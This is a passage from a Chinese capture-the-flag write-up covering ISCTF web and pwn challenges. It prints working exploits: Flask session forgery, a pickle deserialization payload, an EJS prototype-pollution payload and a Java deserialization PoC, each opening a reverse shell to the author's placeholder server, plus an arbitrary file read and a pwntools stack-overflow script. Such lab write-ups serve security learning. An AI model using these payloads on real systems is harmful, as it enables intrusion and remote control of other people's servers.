src=&#34;upload/1731585729254-ea6f9570-8a21-42d9-8a76-65f7bd1561cd.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;一上来就看见flask和secret key，并且secret key已知，那么很有可能会在这里有说法。&lt;/p&gt;&#xA;&lt;p&gt;一般来说就是flask session伪造之类的。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731585787153-a9f29436-fd18-4752-a911-15327d84e1ba.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;再往下看，发现了pickle.loads，并且参数可控，那很有可能也考pickle反序列化攻击漏洞。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731585838152-57c724ce-426b-4be6-bd08-c550f311857f.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;继续审计，发现存在admin界面，并且是从session中读取状态。&lt;/p&gt;&#xA;&lt;p&gt;那么这就需要我们伪造Session了。&lt;/p&gt;&#xA;&lt;p&gt;直接使用flask-session-manager进行伪造：&lt;/p&gt;&#xA;&lt;p&gt;.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzHlBQ.A0rqgO-aQi4R5-cbMqY4vC-lMAQ&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731585973817-4d388121-a946-46aa-8c0e-9636a679c4d9.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;成功进入后台界面。此时我们继续审计代码：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;@app.route(&amp;quot;/add&amp;quot;, methods=[&amp;quot;POST&amp;quot;])&#xA;def add_news():&#xA;    if session.get(&#39;status&#39;) != &#39;admin&#39; or session.get(&#39;username&#39;) != &#39;admin&#39; or session.get(&#39;password&#39;) != &#39;admin222&#39;:&#xA;        return redirect(&amp;quot;/login&amp;quot;)    &#xA;    serialized_news = request.form[&amp;quot;serialized_news&amp;quot;]&#xA;    if newslist.add_news(serialized_news):&#xA;        return redirect(&amp;quot;/admin&amp;quot;)&#xA;    else:&#xA;        return jsonify({&amp;quot;error&amp;quot;: &amp;quot;Failed to add news&amp;quot;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;这一块是用来添加新闻的，可以看到有一个add_news，我们进去看下：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def add_news(self, serialized_news) -&amp;gt; None:&#xA;        try:&#xA;            news_data = base64.b64decode(serialized_news)&#xA;            black_list = [&#39;create_news&#39;,&#39;export_news&#39;,&#39;add_news&#39;,&#39;get_news&#39;]&#xA;            for i in black_list:&#xA;                if i in str(news_data):&#xA;                    return False&#xA;            news = pickle.loads(news_data)&#xA;            if isinstance(news,News):&#xA;                for i in self.news_list:&#xA;                    if i.title == news.title:&#xA;                        return False&#xA;                self.news_list.append(news)&#xA;                return True&#xA;            return False&#xA;        except Exception:&#xA;            return False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;这里就涉及到我们上文审计到的pickle.loads方法了。因此我们现在开始构造包含攻击的News实例，并使用pickles.dumps导出序列化数据。&lt;/p&gt;&#xA;&lt;p&gt;理论上去给类添加__reduce__去做也是没有问题的，这里没有限制字节码。不过我这里还是想提一下用pker去在字节码层面上完成此题，而且还能保证通过isinstance检测，让界面不崩溃。&lt;/p&gt;&#xA;&lt;p&gt;为了方便，这里我们使用pker构建我们的payload：&lt;/p&gt;&#xA;&lt;p&gt;（这道题依然没有回显 为了反弹shell依然需要有自己的服务器）&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;news = OBJ(GLOBAL(&#39;__main__&#39;, &#39;News&#39;), &#39;abcaa&#39;,&#39;defff&#39;)&#xA;s=&amp;quot;python -c \&amp;quot;import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#39;服务器IP&#39;,服务器PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&#39;/bin/bash&#39;,&#39;-i&#39;]);\&amp;quot;&amp;quot;&#xA;system = GLOBAL(&#39;os&#39;, &#39;system&#39;)&#xA;system(s) &#xA;return news&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;通过pyer构建该pickle字符串，导出后进行测试&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import base64&#xA;import pickle&#xA;&#xA;class News:&#xA;    def __init__(self, title, content) -&amp;gt; None:&#xA;        self.title = title&#xA;        self.content = content&#xA;&#xA;    def __repr__(self) -&amp;gt; str:&#xA;        return f&amp;quot;news(name={self.title}, words={self.content})&amp;quot;&#xA;&#xA;&#xA;print(pickle.dumps(News(&amp;quot;adada&amp;quot;, &amp;quot;defff&amp;quot;), protocol=0))&#xA;&#xA;abc = b&#39;(c__main__\nNews\nS\&#39;abcaa\&#39;\nS\&#39;defff\&#39;\nop0\n0S\&#39;python -c &amp;quot;import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\&#39;XXXX\\\&#39;,XXXX));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\&#39;/bin/sh\\\&#39;,\\\&#39;-i\\\&#39;]);&amp;quot;\&#39;\np1\n0cos\nsystem\np2\n0g2\n(g1\ntRg0\n.&#39;&#xA;&#xA;print(base64.b64encode(abc).decode())&#xA;inst = pickle.loads(abc)&#xA;print(isinstance(inst, News))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;输出 True，说明我们构建出来的payload成功绕过了isinstance的检测。&lt;/p&gt;&#xA;&lt;p&gt;接下来直接将payload进行提交&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731586481240-764219fa-b441-47d3-b0d1-6820571fe797.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;可以看到，正常添加，也跳转回admin界面了。并且反弹shell已连接上，直接找flag即可。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587521183-69e28dd5-cba2-4f4d-9386-8f0c2f244627.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587511701-41f5a5b0-cde7-4357-8d33-1603ded7000c.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;小蓝鲨的故事&#34;&gt;小蓝鲨的故事&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e6%95%85%e4%ba%8b&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;这个题我做的时候还没有hint，后面给的hint是：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587571582-30681fa2-2e8a-401d-b694-7c2467eaaca8.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;直接访问robots.txt，得到key：zbIBWjHS&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587594056-2815b3f6-4d4f-4037-bcd0-b5e3353ce42a.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587610059-45f88f9d-980d-41e0-bfb0-0c04d7b9b875.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;访问/，让我们Read Hacker，所以访问/Hacker&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587627540-febb41d6-2479-4757-a972-9da4332f399f.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;一个小故事，可看可不看，我们右键查看源码&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587647439-c0783e0d-e27c-4a36-b22c-3360c3bc88ee.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;界面底部有一行小字，告诉我们他是 ISctf_Hacker&lt;/p&gt;&#xA;&lt;p&gt;请求下&lt;a href=&#34;http://27.25.151.12:23299/flag&#34;&gt;/flag&lt;/a&gt;，发现有内容：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587952271-54bf4300-201f-42dd-8b3b-7d882fae3b37.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;通过burpsuite再次请求/，可以发现服务端给我们设了个session：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731587761059-0935d849-37f8-418d-89a9-ad75d56fb891.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;再看header，发现这是一个Werkzeug/1.0.1 Python/2.7.18的服务端，联合session推测是Flask。&lt;/p&gt;&#xA;&lt;p&gt;解密session，结果是{&amp;ldquo;username&amp;rdquo;:{&amp;quot; b&amp;quot;:&amp;ldquo;d3d3LWRhdGE=&amp;rdquo;}}，&lt;/p&gt;&#xA;&lt;p&gt;联合上面得到的key，不难想到是flask-session伪造，因此我们直接flask-session-manager进行fake session，把d3d3什么玩意的替换成ISctf_Hacker&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;python flask_session_cookie_manager3.py encode -s zbIBWjHS -t &amp;quot;{&#39;username&#39;: b&#39;ISctf_Hacker&#39;}&amp;quot;&#xA;eyJ1c2VybmFtZSI6eyIgYiI6IlNWTmpkR1pmU0dGamEyVnkifX0.ZzXv1w.bo1OD2_7wrGswsiju-NggjROpck&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;生成session后填入请求中，再次get /flag，直接拿到flag。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588106152-3727b31d-a2ca-4d29-97a2-87e234353b14.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;ezejs&#34;&gt;ezejs&lt;a class=&#34;heading-anchor&#34; href=&#34;#ezejs&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;有附件，进行代码审计。&lt;/p&gt;&#xA;&lt;p&gt;ejs编写，并且标出来backdoor：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588213240-ef9a0935-2e8c-40b2-a425-5575ba82db2c.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588393549-f83a9142-8caa-48ce-bdef-50f06bc732cb.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;看见outputFunctionName和这个copy函数立刻就能联想到是原型链污染，可惜几个常用的payload被过滤了，所以我们只能找其他路子。&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.anquanke.com/post/id/236354&#34;&gt;关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;对nodejs源码进行分析，存在几个调用点：outputFunctionName, localsName, escapeFn和destructuredLocals。前三个都被河蟹了，那只能来搞第四个。&lt;/p&gt;&#xA;&lt;p&gt;构建json：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;__proto__&amp;quot;:{&amp;quot;destructuredLocals&amp;quot;:[&amp;quot;a=a;global.process.mainModule.require(&#39;child_process&#39;).execSync(&#39;nc 服务器ip 服务器port -e /bin/sh&#39;);//var __tmp2&amp;quot;]}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588458874-8cc3a6a2-6020-4d9d-92cb-0e8a421e091a.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;执行后有回显，说明已经加载，此时我们重新GET /，让ejs进行界面渲染，便可反弹shell&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588529767-9e8d5d22-6a58-47d0-8e00-59152b1fea46.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;找flag。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588540701-33c6fcd1-8189-4438-bf4e-d5fa7184830a.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;蓝鲨的java入门课堂&#34;&gt;蓝鲨的java入门课堂&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e8%93%9d%e9%b2%a8%e7%9a%84java%e5%85%a5%e9%97%a8%e8%af%be%e5%a0%82&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;审计代码，是个jar，拖入recaf分析：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731589497284-6fed4247-ba2d-4e52-898c-a506505118bd.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;一个SpringBoot应用，其中/ser是入口，这里是考urldns链的使用。我们看下Evil这个类：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731589545389-fbdbcb5b-b2cf-45d6-9fc3-47b8d1b550ce.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;它实现了Serializable，并且重写了hashCode()，根据HashMap的readObject的调用链：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;HashMap.readObject();&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;HashMap.putVal();&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;HashMap.hash();&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;object.hashCode();&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;在读取到这个Evil对象时，将会调用hashCode，此时就会执行rce，完成攻击。&lt;/p&gt;&#xA;&lt;p&gt;因此我们需要序列化一个合适的payload。&lt;/p&gt;&#xA;&lt;p&gt;对了，需要提醒的是Evil这个类的包名必须和原来的保持一样，不然服务端读不出来是哪个类&lt;/p&gt;&#xA;&lt;p&gt;POC如下：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;package com.company;&#xA;&#xA;import cat.uwu.begin_java.Evil;&#xA;&#xA;import java.io.*;&#xA;import java.lang.reflect.Constructor;&#xA;import java.lang.reflect.Field;&#xA;import java.net.URL;&#xA;import java.util.Base64;&#xA;import java.util.HashMap;&#xA;&#xA;public class testdemo {&#xA;    &#xA;    public static byte[] serialize(final Object obj) throws Exception{&#xA;        ByteArrayOutputStream btout  = new ByteArrayOutputStream();&#xA;        ObjectOutputStream objOut = new ObjectOutputStream(btout);&#xA;        objOut.writeObject(obj);&#xA;        return btout.toByteArray();&#xA;    }&#xA;&#xA;    public static void main(String[] args) throws Exception{&#xA;        Constructor&amp;lt;Evil&amp;gt; constructor = Evil.class.getDeclaredConstructor(String.class);&#xA;        // 让构造函数可以访问&#xA;        constructor.setAccessible(true);&#xA;        // 创建Evil类的实例&#xA;        Evil evilInstance = constructor.newInstance(&amp;quot;/bin/bash -c $@|bash 0 echo bash -i &amp;gt;&amp;amp;/dev/tcp/XXXX/XXX 0&amp;gt;&amp;amp;1&amp;quot;);&#xA;&#xA;        HashMap map = new HashMap();&#xA;        map.put(evilInstance, &amp;quot;ab&amp;quot;);&#xA;&#xA;        byte[] s = serialize(map);&#xA;        byte[] buffer = Base64.getEncoder().encode(s);&#xA;        String payload = new String(buffer);&#xA;        System.out.println(payload);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;这里为了不改变Evil实例的serializeUid，我使用反射来创建类的实例，否则post过去会报500错误。&lt;/p&gt;&#xA;&lt;p&gt;将payload POST过去之后直接反弹shell，连接上就能cat flag。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731589840181-4b087f24-99e9-40c9-9a6f-9360474cee3c.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;小蓝鲨的书店&#34;&gt;小蓝鲨的书店&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e4%b9%a6%e5%ba%97&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;注意，本题我使用非预期解&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;这个题我直接用SourceLeakSearcher扫出题目源码了，不知道是不是预期的&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588755332-71e7411e-8334-4c62-b32e-c4a2b919163c.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;直接审计代码，发现居然用的是THINKPHP 5.0.23，这个版本有一个严重的RCE漏洞，但经过我测试此漏洞已被修复。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588817447-85083ba7-e38f-4d7b-a179-a0101b68ee47.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588801667-6f7a853c-8338-4af0-822f-87122e7636b5.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;在Index.php中发现它会在捐赠图书时上传image_path，而在读取书籍时将会读取image_path的文件，这就存在了任意文件读取的漏洞。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731588896409-fa6ad669-64f0-4af5-966e-5c9c1b289500.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;可以看到，参数image_path传入的是绝对文件路径/var/www/html/application/index/view/index/photos/index.jpg&lt;/p&gt;&#xA;&lt;p&gt;由于前面有道题的附件里面有一个start.sh，我直接如法炮制去读这个start.sh，还真让我读到了：&lt;/p&gt;&#xA;&lt;p&gt;data:image/png;base64, IyEvYmluL2Jhc2gKCm15c3FsZF9zYWZlICYKCm15c3FsX3JlYWR5KCkgewoJbXlzcWxhZG1pbiBwaW5nIC0tc29ja2V0PS9ydW4vbXlzcWxkL215c3FsZC5zb2NrIC0tdXNlcj1yb290IC0tcGFzc3dvcmQ9cm9vdCA+IC9kZXYvbnVsbCAyPiYxCn0KCndoaWxlICEobXlzcWxfcmVhZHkpCmRvCgllY2hvICJ3YWl0aW5nIGZvciBteXNxbCAuLi4iCglzbGVlcCAzCmRvbmUKCm15c3FsIC1lICJBTFRFUiBVU0VSICdyb290J0AnbG9jYWxob3N0JyBJREVOVElGSUVEIFdJVEggbXlzcWxfbmF0aXZlX3Bhc3N3b3JkIEJZICdyb290JztmbHVzaCBwcml2aWxlZ2VzOyIgLXVyb290IC1wcm9vdAoKaWYgW1sgLWYgL2RiLnNxbCBdXTsgdGhlbgogICAgbXlzcWwgLWUgInNvdXJjZSAvZGIuc3FsIiAtdXJvb3QgLXByb290CiAgICBybSAtZiAvZGIuc3FsCmZpCgppZiBbWyAtZiAvZmxhZy5zaCBdXTsgdGhlbgoJc291cmNlIC9mbGFnLnNoCmZpCgphcGFjaGUyLWZvcmVncm91bmQK&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;base64解码后&#xA;#!/bin/bash&#xA;&#xA;mysqld_safe &amp;amp;&#xA;&#xA;mysql_ready() {&#xA;    mysqladmin ping --socket=/run/mysqld/mysqld.sock --user=root --password=root &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;}&#xA;&#xA;while !(mysql_ready)&#xA;do&#xA;    echo &amp;quot;waiting for mysql ...&amp;quot;&#xA;    sleep 3&#xA;done&#xA;&#xA;mysql -e &amp;quot;ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED WITH mysql_native_password BY &#39;root&#39;;flush privileges;&amp;quot; -uroot -proot&#xA;&#xA;if [[ -f /db.sql ]]; then&#xA;    mysql -e &amp;quot;source /db.sql&amp;quot; -uroot -proot&#xA;    rm -f /db.sql&#xA;fi&#xA;&#xA;if [[ -f /flag.sh ]]; then&#xA;    source /flag.sh&#xA;fi&#xA;&#xA;apache2-foreground&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;可以看到此题应该是考SQL注入，但我们通过这个方法也能拿到flag。&lt;/p&gt;&#xA;&lt;p&gt;我们接下来再读/flag.sh&lt;/p&gt;&#xA;&lt;p&gt;data:image/png;base64, IyEvYmluL2Jhc2gKZWNobyAkRkxBRyA+IC90dHR0dHR0dHR0cHNxbF9mbGFnCmV4cG9ydCBGTEFHPW5vdF9mbGFnCkZMQUc9bm90X2ZsYWcKcm0gZmxhZy5zaA==&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;echo $FLAG &amp;gt; /ttttttttttpsql_flag&#xA;export FLAG=not_flag&#xA;FLAG=not_flag&#xA;rm flag.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;OK,那么flag就放在/ttttttttttpsql_flag，可以直接读取了！&lt;/p&gt;&#xA;&lt;p&gt;data:image/png;base64, SVNDVEZ7Yjg5ZWU2ZGItNGVjNy00MGJiLTg4YmMtNGMxYjJmZGM5NThkfQo=&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731589143135-36460082-4f0e-41b1-86ec-3d66cb5a4dec.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;那么这就暴露了这个CTF平台存在的一个漏洞，可以让ctfer直接用这个方法读到flag，从而实现非预期解。&lt;/p&gt;&#xA;&lt;p&gt;当然，thinkphp这个平台的漏洞也是数不胜数，网上也有其他人挖掘了其他漏洞的。&lt;/p&gt;&#xA;&lt;p&gt;实际上本题的考点是通过首页的搜索框进行SQL注入来拿到flag&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731589218371-902ee634-bd50-47bb-9f84-a3a9c6b0b26f.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;二pwn&#34;&gt;二、Pwn&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e4%ba%8cpwn&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h4 id=&#34;natcat&#34;&gt;NatCat&lt;a class=&#34;heading-anchor&#34; href=&#34;#natcat&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;NC链接服务器即可回显flag&lt;/p&gt;&#xA;&lt;h4 id=&#34;girlfriend&#34;&gt;girlfriend&lt;a class=&#34;heading-anchor&#34; href=&#34;#girlfriend&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;拖进IDA看一看&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115224859827.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;一个非常简单的栈溢出&lt;/p&gt;&#xA;&lt;p&gt;先通过read() 覆盖掉s1使其为admin后进入vuln函数&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115225055510.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;可以看到**&lt;code&gt;v1&lt;/code&gt; 数组是一个大小为 5 的 &lt;code&gt;_QWORD&lt;/code&gt; 类型数组（每个元素为 8 字节，表示一个 64 位整数），即 &lt;code&gt;v1&lt;/code&gt; 的总内存大小是 40 字节。&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;for (i = 0LL; i &amp;lt;= 7; ++i)&lt;/code&gt; 循环从 &lt;code&gt;i = 0&lt;/code&gt; 到 &lt;code&gt;i = 7&lt;/code&gt;，总共循环 8 次。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：数组 &lt;code&gt;v1&lt;/code&gt; 仅有 5 个元素（&lt;code&gt;v1[0]&lt;/code&gt; 到 &lt;code&gt;v1[4]&lt;/code&gt;），但 &lt;code&gt;i&lt;/code&gt; 的范围从 0 到 7，意味着当 &lt;code&gt;i &amp;gt;= 5&lt;/code&gt; 时，代码会越过 &lt;code&gt;v1&lt;/code&gt; 数组的边界，访问无效或意外的内存区域。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;缓冲区溢出漏洞&lt;/strong&gt;：当 &lt;code&gt;i&lt;/code&gt; 达到 5、6、7 时，&lt;code&gt;v1[i]&lt;/code&gt; 超出了数组的定义范围，这会导致 &lt;strong&gt;缓冲区溢出&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;只需要在输入第七次生日的时候传入amaze函数的地址 使其跳转至amaze函数即可&lt;/p&gt;&#xA;&lt;p&gt;exp&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from pwn import *&#xA;port = 39500&#xA;def main():&#xA;    p = remote(&amp;quot;27.25.151.12&amp;quot;, port)&#xA;    payload = b&#39;a&#39; * 40 + b&#39;admin&#39;&#xA;    p.recvuntil(b&#39;id&#39;)&#xA;    p.send(payload)&#xA;&#xA;    for i in range(6):&#xA;        p.recvuntil(b&#39;birthday&#39;)&#xA;        payload = b&#39;6&#39;&#xA;        p.sendline(payload)&#xA;&#xA;    p.recvuntil(b&#39;birthday&#39;)&#xA;    payload = b&#39;4198942&#39;&#xA;    p.sendline(payload)&#xA;    p.send(b&#39;cat flag\n&#39;)&#xA;    p.interactive()&#xA;main()&#xA;&#xA;[x] Opening connection to 27.25.151.12 on port 39500&#xA;[x] Opening connection to 27.25.151.12 on port 39500: Trying 27.25.151.12&#xA;[+] Opening connection to 27.25.151.12 on port 39500: Done&#xA;[*] Switching to interactive mode&#xA;&#xA;ISCTF{3093e06d-4c43-48d9-bc99-bd74aa895968}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;ezgame&#34;&gt;ezgame&lt;a class=&#34;heading-anchor&#34; href=&#34;#ezgame&#34; aria-label=&#34;Link 